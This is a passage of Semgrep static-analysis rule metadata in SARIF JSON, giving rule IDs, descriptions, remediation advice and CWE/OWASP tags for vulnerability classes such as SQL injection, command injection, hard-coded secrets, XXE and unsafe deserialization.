statements."},"helpUri":"https://semgrep.dev/r/go.lang.security.audit.sqli.pg-orm-sqli.pg-orm-sqli","id":"go.lang.security.audit.sqli.pg-orm-sqli.pg-orm-sqli","name":"go.lang.security.audit.sqli.pg-orm-sqli.pg-orm-sqli","properties":{"precision":"very-high","tags":["CWE-89: Improper Neutralization of Special Elements used in an SQL Command ('SQL Injection')","LOW CONFIDENCE","OWASP-A01:2017 - Injection","OWASP-A03:2021 - Injection","security"]},"shortDescription":{"text":"Semgrep Finding: go.lang.security.audit.sqli.pg-orm-sqli.pg-orm-sqli"}},{"defaultConfiguration":{"level":"error"},"fullDescription":{"text":"Picatic API Key detected"},"help":{"markdown":"Picatic API Key detected\n\n<b>References:</b>\n - [Semgrep Rule](https://semgrep.dev/r/generic.secrets.security.detected-picatic-api-key.detected-picatic-api-key)\n - [https://owasp.org/Top10/A07_2021-Identification_and_Authentication_Failures](https://owasp.org/Top10/A07_2021-Identification_and_Authentication_Failures)\n","text":"Picatic API Key detected"},"helpUri":"https://semgrep.dev/r/generic.secrets.security.detected-picatic-api-key.detected-picatic-api-key","id":"generic.secrets.security.detected-picatic-api-key.detected-picatic-api-key","name":"generic.secrets.security.detected-picatic-api-key.detected-picatic-api-key","properties":{"precision":"very-high","tags":["CWE-798: Use of Hard-coded Credentials","LOW CONFIDENCE","OWASP-A07:2021 - Identification and Authentication Failures","security"]},"shortDescription":{"text":"Semgrep Finding: generic.secrets.security.detected-picatic-api-key.detected-picatic-api-key"}},{"defaultConfiguration":{"level":"warning"},"fullDescription":{"text":"'render inline: ...' renders an entire ERB template inline and is dangerous. If external data can reach here, this exposes your application to server-side template injection (SSTI) or cross-site scripting (XSS) attacks. Instead, consider using a partial or another safe rendering method."},"help":{"markdown":"'render inline: ...' renders an entire ERB template inline and is dangerous. If external data can reach here, this exposes your application to server-side template injection (SSTI) or cross-site scripting (XSS) attacks. Instead, consider using a partial or another safe rendering method.\n\n<b>References:</b>\n - [Semgrep Rule](https://semgrep.dev/r/ruby.rails.security.audit.xss.avoid-render-inline.avoid-render-inline)\n - [https://brakemanpro.com/2017/09/08/cross-site-scripting-in-rails#inline-renders---even-worse-than-xss](https://brakemanpro.com/2017/09/08/cross-site-scripting-in-rails#inline-renders---even-worse-than-xss)\n","text":"'render inline: ...' renders an entire ERB template inline and is dangerous. If external data can reach here, this exposes your application to server-side template injection (SSTI) or cross-site scripting (XSS) attacks. Instead, consider using a partial or another safe rendering method."},"helpUri":"https://semgrep.dev/r/ruby.rails.security.audit.xss.avoid-render-inline.avoid-render-inline","id":"ruby.rails.security.audit.xss.avoid-render-inline.avoid-render-inline","name":"ruby.rails.security.audit.xss.avoid-render-inline.avoid-render-inline","properties":{"precision":"very-high","tags":["CWE-79: Improper Neutralization of Input During Web Page Generation ('Cross-site Scripting')","LOW CONFIDENCE","OWASP-A03:2021 - Injection","OWASP-A07:2017 - Cross-Site Scripting (XSS)","security"]},"shortDescription":{"text":"Semgrep Finding: ruby.rails.security.audit.xss.avoid-render-inline.avoid-render-inline"}},{"defaultConfiguration":{"level":"warning"},"fullDescription":{"text":"'ssl.wrap_socket()' is deprecated. This function creates an insecure socket without server name indication or hostname matching. Instead, create an SSL context using 'ssl.SSLContext()' and use that to wrap a socket."},"help":{"markdown":"'ssl.wrap_socket()' is deprecated. This function creates an insecure socket without server name indication or hostname matching. Instead, create an SSL context using 'ssl.SSLContext()' and use that to wrap a socket.\n\n<b>References:</b>\n - [Semgrep Rule](https://semgrep.dev/r/python.lang.security.audit.ssl-wrap-socket-is-deprecated.ssl-wrap-socket-is-deprecated)\n - [https://docs.python.org/3/library/ssl.html#ssl.wrap_socket](https://docs.python.org/3/library/ssl.html#ssl.wrap_socket)\n - [https://docs.python.org/3/library/ssl.html#ssl.SSLContext.wrap_socket](https://docs.python.org/3/library/ssl.html#ssl.SSLContext.wrap_socket)\n","text":"'ssl.wrap_socket()' is deprecated. This function creates an insecure socket without server name indication or hostname matching. Instead, create an SSL context using 'ssl.SSLContext()' and use that to wrap a socket."},"helpUri":"https://semgrep.dev/r/python.lang.security.audit.ssl-wrap-socket-is-deprecated.ssl-wrap-socket-is-deprecated","id":"python.lang.security.audit.ssl-wrap-socket-is-deprecated.ssl-wrap-socket-is-deprecated","name":"python.lang.security.audit.ssl-wrap-socket-is-deprecated.ssl-wrap-socket-is-deprecated","properties":{"precision":"very-high","tags":["CWE-326: Inadequate Encryption Strength","MEDIUM CONFIDENCE","OWASP-A02:2021 - Cryptographic Failures","OWASP-A03:2017 - Sensitive Data Exposure","security"]},"shortDescription":{"text":"Semgrep Finding: python.lang.security.audit.ssl-wrap-socket-is-deprecated.ssl-wrap-socket-is-deprecated"}},{"defaultConfiguration":{"level":"warning"},"fullDescription":{"text":"Checks if HTML escaping is globally disabled for JSON output. This could lead to XSS."},"help":{"markdown":"Checks if HTML escaping is globally disabled for JSON output. This could lead to XSS.\n\n<b>References:</b>\n - [Semgrep Rule](https://semgrep.dev/r/ruby.lang.security.json-entity-escape.json-entity-escape)\n - [https://owasp.org/Top10/A03_2021-Injection](https://owasp.org/Top10/A03_2021-Injection)\n","text":"Checks if HTML escaping is globally disabled for JSON output. This could lead to XSS."},"helpUri":"https://semgrep.dev/r/ruby.lang.security.json-entity-escape.json-entity-escape","id":"ruby.lang.security.json-entity-escape.json-entity-escape","name":"ruby.lang.security.json-entity-escape.json-entity-escape","properties":{"precision":"very-high","tags":["CWE-79: Improper Neutralization of Input During Web Page Generation ('Cross-site Scripting')","LOW CONFIDENCE","OWASP-A03:2021 - Injection","OWASP-A07:2017 - Cross-Site Scripting (XSS)","security"]},"shortDescription":{"text":"Semgrep Finding: ruby.lang.security.json-entity-escape.json-entity-escape"}},{"defaultConfiguration":{"level":"warning"},"fullDescription":{"text":"The application's App Transport Security (ATS) configuration disables Perfect Forward Secrecy (PFS) for one or more domains. PFS is a cryptographic technique to ensure the confidentiality of prior communications, even if the long-term secret keys are compromised in the future."},"help":{"markdown":"The application's App Transport Security (ATS) configuration disables Perfect Forward Secrecy (PFS) for one or more domains. PFS is a cryptographic technique to ensure the confidentiality of prior communications, even if the long-term secret keys are compromised in the future.\n\n<b>References:</b>\n - [Semgrep Rule](https://semgrep.dev/r/swift.insecure-communication.ats.ats-pfs.ATS-disables-PFS)\n - [https://mobile-security.gitbook.io/mobile-security-testing-guide/ios-testing-guide/0x06g-testing-network-communication](https://mobile-security.gitbook.io/mobile-security-testing-guide/ios-testing-guide/0x06g-testing-network-communication)\n - [https://mobile-security.gitbook.io/mobile-security-testing-guide/ios-testing-guide/0x06g-testing-network-communication](https://mobile-security.gitbook.io/mobile-security-testing-guide/ios-testing-guide/0x06g-testing-network-communication)\n","text":"The application's App Transport Security (ATS) configuration disables Perfect Forward Secrecy (PFS) for one or more domains. PFS is a cryptographic technique to ensure the confidentiality of prior communications, even if the long-term secret keys are compromised in the future."},"helpUri":"https://semgrep.dev/r/swift.insecure-communication.ats.ats-pfs.ATS-disables-PFS","id":"swift.insecure-communication.ats.ats-pfs.ATS-disables-PFS","name":"swift.insecure-communication.ats.ats-pfs.ATS-disables-PFS","properties":{"precision":"very-high","tags":["CWE-327: Use of a Broken or Risky Cryptographic Algorithm","HIGH CONFIDENCE","OWASP-A02:2021 - Cryptographic Failures","OWASP-A03:2017 - Sensitive Data Exposure","security"]},"shortDescription":{"text":"Semgrep Finding: swift.insecure-communication.ats.ats-pfs.ATS-disables-PFS"}},{"defaultConfiguration":{"level":"error"},"fullDescription":{"text":"Detected input from a HTTPServletRequest going into a 'ProcessBuilder' or 'exec' command. This could lead to command injection if variables passed into the exec commands are not properly sanitized. Instead, avoid using these OS commands with user-supplied input, or, if you must use these commands, use a whitelist of specific values."},"help":{"markdown":"Detected input from a HTTPServletRequest going into a 'ProcessBuilder' or 'exec' command. This could lead to command injection if variables passed into the exec commands are not properly sanitized. Instead, avoid using these OS commands with user-supplied input, or, if you must use these commands, use a whitelist of specific values.\n\n<b>References:</b>\n - [Semgrep Rule](https://semgrep.dev/r/java.lang.security.audit.tainted-cmd-from-http-request.tainted-cmd-from-http-request)\n - [https://owasp.org/Top10/A03_2021-Injection](https://owasp.org/Top10/A03_2021-Injection)\n","text":"Detected input from a HTTPServletRequest going into a 'ProcessBuilder' or 'exec' command. This could lead to command injection if variables passed into the exec commands are not properly sanitized. Instead, avoid using these OS commands with user-supplied input, or, if you must use these commands, use a whitelist of specific values."},"helpUri":"https://semgrep.dev/r/java.lang.security.audit.tainted-cmd-from-http-request.tainted-cmd-from-http-request","id":"java.lang.security.audit.tainted-cmd-from-http-request.tainted-cmd-from-http-request","name":"java.lang.security.audit.tainted-cmd-from-http-request.tainted-cmd-from-http-request","properties":{"precision":"very-high","tags":["CWE-78: Improper Neutralization of Special Elements used in an OS Command ('OS Command Injection')","MEDIUM CONFIDENCE","OWASP-A01:2017 - Injection","OWASP-A03:2021 - Injection","security"]},"shortDescription":{"text":"Semgrep Finding: java.lang.security.audit.tainted-cmd-from-http-request.tainted-cmd-from-http-request"}},{"defaultConfiguration":{"level":"warning"},"fullDescription":{"text":"A secret is hard-coded in the application. Secrets stored in source code, such as credentials, identifiers, and other types of sensitive data, can be leaked and used by internal or external malicious actors. It is recommended to rotate the secret and retrieve them from a secure secret vault or Hardware Security Module (HSM), alternatively environment variables can be used if allowed by your company policy."},"help":{"markdown":"A secret is hard-coded in the application. Secrets stored in source code, such as credentials, identifiers, and other types of sensitive data, can be leaked and used by internal or external malicious actors. It is recommended to rotate the secret and retrieve them from a secure secret vault or Hardware Security Module (HSM), alternatively environment variables can be used if allowed by your company policy.\n\n<b>References:</b>\n - [Semgrep Rule](https://semgrep.dev/r/kotlin.okhttp.secrets.hardcoded-secret-in-request-header.hardcoded-secret-in-request-header)\n - [https://owasp.org/Top10/A07_2021-Identification_and_Authentication_Failures](https://owasp.org/Top10/A07_2021-Identification_and_Authentication_Failures)\n","text":"A secret is hard-coded in the application. Secrets stored in source code, such as credentials, identifiers, and other types of sensitive data, can be leaked and used by internal or external malicious actors. It is recommended to rotate the secret and retrieve them from a secure secret vault or Hardware Security Module (HSM), alternatively environment variables can be used if allowed by your company policy."},"helpUri":"https://semgrep.dev/r/kotlin.okhttp.secrets.hardcoded-secret-in-request-header.hardcoded-secret-in-request-header","id":"kotlin.okhttp.secrets.hardcoded-secret-in-request-header.hardcoded-secret-in-request-header","name":"kotlin.okhttp.secrets.hardcoded-secret-in-request-header.hardcoded-secret-in-request-header","properties":{"precision":"very-high","tags":["CWE-798: Use of Hard-coded Credentials","HIGH CONFIDENCE","OWASP-A07:2021 - Identification and Authentication Failures","security"]},"shortDescription":{"text":"Semgrep Finding: kotlin.okhttp.secrets.hardcoded-secret-in-request-header.hardcoded-secret-in-request-header"}},{"defaultConfiguration":{"level":"warning"},"fullDescription":{"text":"The HTTPSConnection API has changed frequently with minor releases of Python. Ensure you are using the API for your version of Python securely. For example, Python 3 versions prior to 3.4.3 will not verify SSL certificates by default. See https://docs.python.org/3/library/http.client.html#http.client.HTTPSConnection for more information."},"help":{"markdown":"The HTTPSConnection API has changed frequently with minor releases of Python. Ensure you are using the API for your version of Python securely. For example, Python 3 versions prior to 3.4.3 will not verify SSL certificates by default. See https://docs.python.org/3/library/http.client.html#http.client.HTTPSConnection for more information.\n\n<b>References:</b>\n - [Semgrep Rule](https://semgrep.dev/r/python.lang.security.audit.httpsconnection-detected.httpsconnection-detected)\n - [https://docs.python.org/3/library/http.client.html#http.client.HTTPSConnection](https://docs.python.org/3/library/http.client.html#http.client.HTTPSConnection)\n","text":"The HTTPSConnection API has changed frequently with minor releases of Python. Ensure you are using the API for your version of Python securely. For example, Python 3 versions prior to 3.4.3 will not verify SSL certificates by default. See https://docs.python.org/3/library/http.client.html#http.client.HTTPSConnection for more information."},"helpUri":"https://semgrep.dev/r/python.lang.security.audit.httpsconnection-detected.httpsconnection-detected","id":"python.lang.security.audit.httpsconnection-detected.httpsconnection-detected","name":"python.lang.security.audit.httpsconnection-detected.httpsconnection-detected","properties":{"precision":"very-high","tags":["CWE-295: Improper Certificate Validation","LOW CONFIDENCE","OWASP-A03:2017 - Sensitive Data Exposure","OWASP-A07:2021 - Identification and Authentication Failures","security"]},"shortDescription":{"text":"Semgrep Finding: python.lang.security.audit.httpsconnection-detected.httpsconnection-detected"}},{"defaultConfiguration":{"level":"warning"},"fullDescription":{"text":"Detected SQL statement that is tainted by `event` object. This could lead to SQL injection if the variable is user-controlled and not properly sanitized. In order to prevent SQL injection, use parameterized queries or prepared statements instead. You can use parameterized statements like so: `cursor.execute('SELECT * FROM projects WHERE status = %s', ('active'))`"},"help":{"markdown":"Detected SQL statement that is tainted by `event` object. This could lead to SQL injection if the variable is user-controlled and not properly sanitized. In order to prevent SQL injection, use parameterized queries or prepared statements instead. You can use parameterized statements like so: `cursor.execute('SELECT * FROM projects WHERE status = %s', ('active'))`\n\n<b>References:</b>\n - [Semgrep Rule](https://semgrep.dev/r/python.aws-lambda.security.pymysql-sqli.pymysql-sqli)\n - [https://pypi.org/project/PyMySQL/#id4](https://pypi.org/project/PyMySQL/#id4)\n","text":"Detected SQL statement that is tainted by `event` object. This could lead to SQL injection if the variable is user-controlled and not properly sanitized. In order to prevent SQL injection, use parameterized queries or prepared statements instead. You can use parameterized statements like so: `cursor.execute('SELECT * FROM projects WHERE status = %s', ('active'))`"},"helpUri":"https://semgrep.dev/r/python.aws-lambda.security.pymysql-sqli.pymysql-sqli","id":"python.aws-lambda.security.pymysql-sqli.pymysql-sqli","name":"python.aws-lambda.security.pymysql-sqli.pymysql-sqli","properties":{"precision":"very-high","tags":["CWE-89: Improper Neutralization of Special Elements used in an SQL Command ('SQL Injection')","MEDIUM CONFIDENCE","OWASP-A01:2017 - Injection","OWASP-A03:2021 - Injection","security"]},"shortDescription":{"text":"Semgrep Finding: python.aws-lambda.security.pymysql-sqli.pymysql-sqli"}},{"defaultConfiguration":{"level":"warning"},"fullDescription":{"text":"If unverified user data can reach the `setContent` method it can result in Server-Side Request Forgery vulnerabilities"},"help":{"markdown":"If unverified user data can reach the `setContent` method it can result in Server-Side Request Forgery vulnerabilities\n\n<b>References:</b>\n - [Semgrep Rule](https://semgrep.dev/r/javascript.puppeteer.security.audit.puppeteer-setcontent-injection.puppeteer-setcontent-injection)\n - [https://owasp.org/Top10/A10_2021-Server-Side_Request_Forgery_%28SSRF%29](https://owasp.org/Top10/A10_2021-Server-Side_Request_Forgery_%28SSRF%29)\n","text":"If unverified user data can reach the `setContent` method it can result in Server-Side Request Forgery vulnerabilities"},"helpUri":"https://semgrep.dev/r/javascript.puppeteer.security.audit.puppeteer-setcontent-injection.puppeteer-setcontent-injection","id":"javascript.puppeteer.security.audit.puppeteer-setcontent-injection.puppeteer-setcontent-injection","name":"javascript.puppeteer.security.audit.puppeteer-setcontent-injection.puppeteer-setcontent-injection","properties":{"precision":"very-high","tags":["CWE-918: Server-Side Request Forgery (SSRF)","LOW CONFIDENCE","OWASP-A10:2021 - Server-Side Request Forgery (SSRF)","security"]},"shortDescription":{"text":"Semgrep Finding: javascript.puppeteer.security.audit.puppeteer-setcontent-injection.puppeteer-setcontent-injection"}},{"defaultConfiguration":{"level":"error"},"fullDescription":{"text":"The application may convert user-controlled data into an object, which can lead to an insecure deserialization vulnerability. An attacker can create a malicious serialized object, pass it to the application, and take advantage of the deserialization process to perform Denial-of-service (DoS), Remote code execution (RCE), or bypass access control measures. To prevent this vulnerability, leverage data formats such as JSON or XML as safer alternatives. If you need to deserialize user input in a specific format, consider digitally signing the data before serialization to prevent tampering. For more information, see: [Deserialization prevention](https://cheatsheetseries.owasp.org/cheatsheets/Deserialization_Cheat_Sheet.html) We do not recommend deserializing untrusted data with the Castor XML Framework unless you explicitly define permissions for types that are allowed to be deserialized by `Castor`."},"help":{"markdown":"The application may convert user-controlled data into an object, which can lead to an insecure deserialization vulnerability. An attacker can create a malicious serialized object, pass it to the application, and take advantage of the deserialization process to perform Denial-of-service (DoS), Remote code execution (RCE), or bypass access control measures. To prevent this vulnerability, leverage data formats such as JSON or XML as safer alternatives. If you need to deserialize user input in a specific format, consider digitally signing the data before serialization to prevent tampering. For more information, see: [Deserialization prevention](https://cheatsheetseries.owasp.org/cheatsheets/Deserialization_Cheat_Sheet.html) We do not recommend deserializing untrusted data with the Castor XML Framework unless you explicitly define permissions for types that are allowed to be deserialized by `Castor`.\n\n<b>References:</b>\n - [Semgrep Rule](https://semgrep.dev/r/java.spring.security.castor-deserialization-deepsemgrep.castor-deserialization-deepsemgrep)\n - [https://castor-data-binding.github.io/castor/reference-guide/reference/xml/xml-framework.html](https://castor-data-binding.github.io/castor/reference-guide/reference/xml/xml-framework.html)\n - [https://owasp.org/Top10/A08_2021-Software_and_Data_Integrity_Failures](https://owasp.org/Top10/A08_2021-Software_and_Data_Integrity_Failures)\n","text":"The application may convert user-controlled data into an object, which can lead to an insecure deserialization vulnerability. An attacker can create a malicious serialized object, pass it to the application, and take advantage of the deserialization process to perform Denial-of-service (DoS), Remote code execution (RCE), or bypass access control measures. To prevent this vulnerability, leverage data formats such as JSON or XML as safer alternatives. If you need to deserialize user input in a specific format, consider digitally signing the data before serialization to prevent tampering. For more information, see: [Deserialization prevention](https://cheatsheetseries.owasp.org/cheatsheets/Deserialization_Cheat_Sheet.html) We do not recommend deserializing untrusted data with the Castor XML Framework unless you explicitly define permissions for types that are allowed to be deserialized by `Castor`."},"helpUri":"https://semgrep.dev/r/java.spring.security.castor-deserialization-deepsemgrep.castor-deserialization-deepsemgrep","id":"java.spring.security.castor-deserialization-deepsemgrep.castor-deserialization-deepsemgrep","name":"java.spring.security.castor-deserialization-deepsemgrep.castor-deserialization-deepsemgrep","properties":{"precision":"very-high","tags":["CWE-502: Deserialization of Untrusted Data","MEDIUM CONFIDENCE","OWASP-A08:2017 - Insecure Deserialization","OWASP-A08:2021 - Software and Data Integrity Failures","security"]},"shortDescription":{"text":"Semgrep Finding: java.spring.security.castor-deserialization-deepsemgrep.castor-deserialization-deepsemgrep"}},{"defaultConfiguration":{"level":"warning"},"fullDescription":{"text":"Data from request is passed to a file name `$FILE`. This is a path traversal vulnerability, which can lead to sensitive data being leaked. To mitigate, consider using os.path.abspath or os.path.realpath or the pathlib library."},"help":{"markdown":"Data from request is passed to a file name `$FILE`. This is a path traversal vulnerability, which can lead to sensitive data being leaked. To mitigate, consider using os.path.abspath or os.path.realpath or the pathlib library.\n\n<b>References:</b>\n - [Semgrep Rule](https://semgrep.dev/r/python.django.security.injection.path-traversal.path-traversal-file-name.path-traversal-file-name)\n - [https://owasp.org/www-community/attacks/Path_Traversal](https://owasp.org/www-community/attacks/Path_Traversal)\n","text":"Data from request is passed to a file name `$FILE`. This is a path traversal vulnerability, which can lead to sensitive data being leaked. To mitigate, consider using os.path.abspath or os.path.realpath or the pathlib library."},"helpUri":"https://semgrep.dev/r/python.django.security.injection.path-traversal.path-traversal-file-name.path-traversal-file-name","id":"python.django.security.injection.path-traversal.path-traversal-file-name.path-traversal-file-name","name":"python.django.security.injection.path-traversal.path-traversal-file-name.path-traversal-file-name","properties":{"precision":"very-high","tags":["CWE-22: Improper Limitation of a Pathname to a Restricted Directory ('Path Traversal')","LOW CONFIDENCE","OWASP-A01:2021 - Broken Access Control","OWASP-A05:2017 - Broken Access Control","security"]},"shortDescription":{"text":"Semgrep Finding: python.django.security.injection.path-traversal.path-traversal-file-name.path-traversal-file-name"}},{"defaultConfiguration":{"level":"error"},"fullDescription":{"text":"'$VAR' is using the empty string as its default and is being used to set the password on '$MODEL'. If you meant to set an unusable password, set the default value to 'None' or call 'set_unusable_password()'."},"help":{"markdown":"'$VAR' is using the empty string as its default and is being used to set the password on '$MODEL'. If you meant to set an unusable password, set the default value to 'None' or call 'set_unusable_password()'.\n\n<b>References:</b>\n - [Semgrep Rule](https://semgrep.dev/r/python.django.security.passwords.use-none-for-password-default.use-none-for-password-default)\n - [https://docs.djangoproject.com/en/3.0/ref/contrib/auth/#django.contrib.auth.models.User.set_password](https://docs.djangoproject.com/en/3.0/ref/contrib/auth/#django.contrib.auth.models.User.set_password)\n","text":"'$VAR' is using the empty string as its default and is being used to set the password on '$MODEL'. If you meant to set an unusable password, set the default value to 'None' or call 'set_unusable_password()'."},"helpUri":"https://semgrep.dev/r/python.django.security.passwords.use-none-for-password-default.use-none-for-password-default","id":"python.django.security.passwords.use-none-for-password-default.use-none-for-password-default","name":"python.django.security.passwords.use-none-for-password-default.use-none-for-password-default","properties":{"precision":"very-high","tags":["CWE-521: Weak Password Requirements","MEDIUM CONFIDENCE","OWASP-A07:2021 - Identification and Authentication Failures","security"]},"shortDescription":{"text":"Semgrep Finding: python.django.security.passwords.use-none-for-password-default.use-none-for-password-default"}},{"defaultConfiguration":{"level":"warning"},"fullDescription":{"text":"Found user-controlled request data passed into '.write(...)'. This could be dangerous if a malicious actor is able to control data into sensitive files. For example, a malicious actor could force rolling of critical log files, or cause a denial-of-service by using up available disk space. Instead, ensure that request data is properly escaped or sanitized."},"help":{"markdown":"Found user-controlled request data passed into '.write(...)'. This could be dangerous if a malicious actor is able to control data into sensitive files. For example, a malicious actor could force rolling of critical log files, or cause a denial-of-service by using up available disk space. Instead, ensure that request data is properly escaped or sanitized.\n\n<b>References:</b>\n - [Semgrep Rule](https://semgrep.dev/r/python.django.security.injection.request-data-write.request-data-write)\n - [https://owasp.org/Top10/A03_2021-Injection](https://owasp.org/Top10/A03_2021-Injection)\n","text":"Found user-controlled request data passed into '.write(...)'. This could be dangerous if a malicious actor is able to control data into sensitive files. For example, a malicious actor could force rolling of critical log files, or cause a denial-of-service by using up available disk space. Instead, ensure that request data is properly escaped or sanitized."},"helpUri":"https://semgrep.dev/r/python.django.security.injection.request-data-write.request-data-write","id":"python.django.security.injection.request-data-write.request-data-write","name":"python.django.security.injection.request-data-write.request-data-write","properties":{"precision":"very-high","tags":["CWE-93: Improper Neutralization of CRLF Sequences ('CRLF Injection')","MEDIUM CONFIDENCE","OWASP-A03:2021 - Injection","security"]},"shortDescription":{"text":"Semgrep Finding: python.django.security.injection.request-data-write.request-data-write"}},{"defaultConfiguration":{"level":"warning"},"fullDescription":{"text":"Detected non-static command inside $PIPE. Audit the input to '$PIPE'. If unverified user data can reach this call site, this is a code injection vulnerability. A malicious actor can inject a malicious script to execute arbitrary code."},"help":{"markdown":"Detected non-static command inside $PIPE. Audit the input to '$PIPE'. If unverified user data can reach this call site, this is a code injection vulnerability. A malicious actor can inject a malicious script to execute arbitrary code.\n\n<b>References:</b>\n - [Semgrep Rule](https://semgrep.dev/r/ruby.lang.security.dangerous-open3-pipeline.dangerous-open3-pipeline)\n - [https://owasp.org/Top10/A03_2021-Injection](https://owasp.org/Top10/A03_2021-Injection)\n","text":"Detected non-static command inside $PIPE. Audit the input to '$PIPE'. If unverified user data can reach this call site, this is a code injection vulnerability. A malicious actor can inject a malicious script to execute arbitrary code."},"helpUri":"https://semgrep.dev/r/ruby.lang.security.dangerous-open3-pipeline.dangerous-open3-pipeline","id":"ruby.lang.security.dangerous-open3-pipeline.dangerous-open3-pipeline","name":"ruby.lang.security.dangerous-open3-pipeline.dangerous-open3-pipeline","properties":{"precision":"very-high","tags":["CWE-94: Improper Control of Generation of Code ('Code Injection')","LOW CONFIDENCE","OWASP-A03:2021 - Injection","security"]},"shortDescription":{"text":"Semgrep Finding: ruby.lang.security.dangerous-open3-pipeline.dangerous-open3-pipeline"}},{"defaultConfiguration":{"level":"warning"},"fullDescription":{"text":"A secret is hard-coded in the application. Secrets stored in source code, such as credentials, identifiers, and other types of sensitive data, can be leaked and used by internal or external malicious actors. It is recommended to rotate the secret and retrieve them from a secure secret vault or Hardware Security Module (HSM), alternatively environment variables can be used if allowed by your company policy."},"help":{"markdown":"A secret is hard-coded in the application. Secrets stored in source code, such as credentials, identifiers, and other types of sensitive data, can be leaked and used by internal or external malicious actors. It is recommended to rotate the secret and retrieve them from a secure secret vault or Hardware Security Module (HSM), alternatively environment variables can be used if allowed by your company policy.\n\n<b>References:</b>\n - [Semgrep Rule](https://semgrep.dev/r/go.secrets.pg.pg-hardcoded-secret.pg-hardcoded-secret)\n - [https://owasp.org/Top10/A07_2021-Identification_and_Authentication_Failures](https://owasp.org/Top10/A07_2021-Identification_and_Authentication_Failures)\n","text":"A secret is hard-coded in the application. Secrets stored in source code, such as credentials, identifiers, and other types of sensitive data, can be leaked and used by internal or external malicious actors. It is recommended to rotate the secret and retrieve them from a secure secret vault or Hardware Security Module (HSM), alternatively environment variables can be used if allowed by your company policy."},"helpUri":"https://semgrep.dev/r/go.secrets.pg.pg-hardcoded-secret.pg-hardcoded-secret","id":"go.secrets.pg.pg-hardcoded-secret.pg-hardcoded-secret","name":"go.secrets.pg.pg-hardcoded-secret.pg-hardcoded-secret","properties":{"precision":"very-high","tags":["CWE-798: Use of Hard-coded Credentials","HIGH CONFIDENCE","OWASP-A07:2021 - Identification and Authentication Failures","security"]},"shortDescription":{"text":"Semgrep Finding: go.secrets.pg.pg-hardcoded-secret.pg-hardcoded-secret"}},{"defaultConfiguration":{"level":"error"},"fullDescription":{"text":"Untrusted input might be injected into a command executed by the application, which can lead to a command injection vulnerability. An attacker can execute arbitrary commands, potentially gaining complete control of the system. To prevent this vulnerability, avoid executing OS commands with user input. If this is unavoidable, validate and sanitize the input, and use safe methods for executing the commands. For more information, see: [Java command injection prevention](https://semgrep.dev/docs/cheat-sheets/java-command-injection/)"},"help":{"markdown":"Untrusted input might be injected into a command executed by the application, which can lead to a command injection vulnerability. An attacker can execute arbitrary commands, potentially gaining complete control of the system. To prevent this vulnerability, avoid executing OS commands with user input. If this is unavoidable, validate and sanitize the input, and use safe methods for executing the commands. For more information, see: [Java command injection prevention](https://semgrep.dev/docs/cheat-sheets/java-command-injection/)\n\n<b>References:</b>\n - [Semgrep Rule](https://semgrep.dev/r/java.micronaut.command-injection.tainted-system-command.tainted-system-command)\n - [https://owasp.org/Top10/A03_2021-Injection](https://owasp.org/Top10/A03_2021-Injection)\n","text":"Untrusted input might be injected into a command executed by the application, which can lead to a command injection vulnerability. An attacker can execute arbitrary commands, potentially gaining complete control of the system. To prevent this vulnerability, avoid executing OS commands with user input. If this is unavoidable, validate and sanitize the input, and use safe methods for executing the commands. For more information, see: [Java command injection prevention](https://semgrep.dev/docs/cheat-sheets/java-command-injection/)"},"helpUri":"https://semgrep.dev/r/java.micronaut.command-injection.tainted-system-command.tainted-system-command","id":"java.micronaut.command-injection.tainted-system-command.tainted-system-command","name":"java.micronaut.command-injection.tainted-system-command.tainted-system-command","properties":{"precision":"very-high","tags":["CWE-78: Improper Neutralization of Special Elements used in an OS Command ('OS Command Injection')","HIGH CONFIDENCE","OWASP-A01:2017 - Injection","OWASP-A03:2021 - Injection","security"]},"shortDescription":{"text":"Semgrep Finding: java.micronaut.command-injection.tainted-system-command.tainted-system-command"}},{"defaultConfiguration":{"level":"error"},"fullDescription":{"text":"DOCTYPE declarations are enabled for this SAXParserFactory. This is vulnerable to XML external entity attacks. Disable this by setting the feature `http://apache.org/xml/features/disallow-doctype-decl` to true. Alternatively, allow DOCTYPE declarations and only prohibit external entities declarations. This can be done by setting the features `http://xml.org/sax/features/external-general-entities` and `http://xml.org/sax/features/external-parameter-entities` to false. NOTE - The previous links are not meant to be clicked. They are the literal config key values that are supposed to be used to disable these features. For more information, see https://semgrep.dev/docs/cheat-sheets/java-xxe/#3a-documentbuilderfactory."},"help":{"markdown":"DOCTYPE declarations are enabled for this SAXParserFactory. This is vulnerable to XML external entity attacks. Disable this by setting the feature `http://apache.org/xml/features/disallow-doctype-decl` to true. Alternatively, allow DOCTYPE declarations and only prohibit external entities declarations. This can be done by setting the features `http://xml.org/sax/features/external-general-entities` and `http://xml.org/sax/features/external-parameter-entities` to false. NOTE - The previous links are not meant to be clicked. They are the literal config key values that are supposed to be used to disable these features. For more information, see https://semgrep.dev/docs/cheat-sheets/java-xxe/#3a-documentbuilderfactory.\n\n<b>References:</b>\n - [Semgrep Rule](https://semgrep.dev/r/java.lang.security.audit.xxe.saxparserfactory-disallow-doctype-decl-missing.saxparserfactory-disallow-doctype-decl-missing)\n - [https://semgrep.dev/blog/2022/xml-security-in-java](https://semgrep.dev/blog/2022/xml-security-in-java)\n - [https://semgrep.dev/docs/cheat-sheets/java-xxe/](https://semgrep.dev/docs/cheat-sheets/java-xxe/)\n - [https://blog.sonarsource.com/secure-xml-processor](https://blog.sonarsource.com/secure-xml-processor)\n - [https://xerces.apache.org/xerces2-j/features.html](https://xerces.apache.org/xerces2-j/features.html)\n","text":"DOCTYPE declarations are enabled for this SAXParserFactory. This is vulnerable to XML external entity attacks. Disable this by setting the feature `http://apache.org/xml/features/disallow-doctype-decl` to true. Alternatively, allow DOCTYPE declarations and only prohibit external entities declarations. This can be done by setting the features `http://xml.org/sax/features/external-general-entities` and `http://xml.org/sax/features/external-parameter-entities` to false. NOTE - The previous links are not meant to be clicked. They are the literal config key values that are supposed to be used to disable these features. For more information, see https://semgrep.dev/docs/cheat-sheets/java-xxe/#3a-documentbuilderfactory."},"helpUri":"https://semgrep.dev/r/java.lang.security.audit.xxe.saxparserfactory-disallow-doctype-decl-missing.saxparserfactory-disallow-doctype-decl-missing","id":"java.lang.security.audit.xxe.saxparserfactory-disallow-doctype-decl-missing.saxparserfactory-disallow-doctype-decl-missing","name":"java.lang.security.audit.xxe.saxparserfactory-disallow-doctype-decl-missing.saxparserfactory-disallow-doctype-decl-missing","properties":{"precision":"very-high","tags":["CWE-611: Improper Restriction of XML External Entity Reference","HIGH CONFIDENCE","OWASP-A04:2017 - XML External Entities (XXE)","OWASP-A05:2021 - Security Misconfiguration","security"]},"shortDescription":{"text":"Semgrep Finding: 